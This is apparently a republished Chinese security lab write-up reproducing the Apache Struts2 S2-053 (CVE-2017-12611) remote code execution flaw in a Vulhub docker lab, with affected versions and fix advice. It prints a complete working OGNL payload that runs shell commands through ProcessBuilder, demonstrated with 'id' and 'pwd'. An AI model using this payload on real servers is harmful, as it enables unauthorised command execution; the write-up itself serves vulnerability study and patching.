Apache Struts2--053远程代码执行漏洞复现

admin 2020年10月13日22:11:11评论401 views字数 1365阅读4分33秒阅读模式


网安引领时代,弥天点亮未来   






 

Apache Struts2--053远程代码执行漏洞复现

0x00漏洞简述


2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签中使用如下代码时

<@s.hidden name="redirectUri" value=redirectUri/><@s.hidden name="redirectUri"value="${redirectUri}" />

会将值当做表达式进行执行,最后导致远程代码执行


Apache Struts2--053远程代码执行漏洞复现

0x01影响版本

Apache Group Struts2.5-2.5.10

Apache Group Struts2.0.1-2.3.33


Apache Struts2--053远程代码执行漏洞复现

0x02漏洞复现


虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/hello.action

    

Apache Struts2--053远程代码执行漏洞复现

               

2、Payload进行漏洞利用

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

命令执行

id

Apache Struts2--053远程代码执行漏洞复现

pwd

Apache Struts2--053远程代码执行漏洞复现


Apache Struts2--053远程代码执行漏洞复现

0x03修复建议


1、将ApacheStrust2版本升级到官方最新版本

2、不要在代码中使用上述结构或使用只读属性来初始化value属性(仅限getter属性)


Apache Struts2--053远程代码执行漏洞复现

0x04参考链接


https://www.anquanke.com/post/id/86787




Apache Struts2--053远程代码执行漏洞复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

Apache Struts2--053远程代码执行漏洞复现



本文始发于微信公众号(弥天安全实验室):Apache Struts2--053远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月13日22:11:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2--053远程代码执行漏洞复现https://cn-sec.com/archives/157037.html

发表评论

匿名网友 填写信息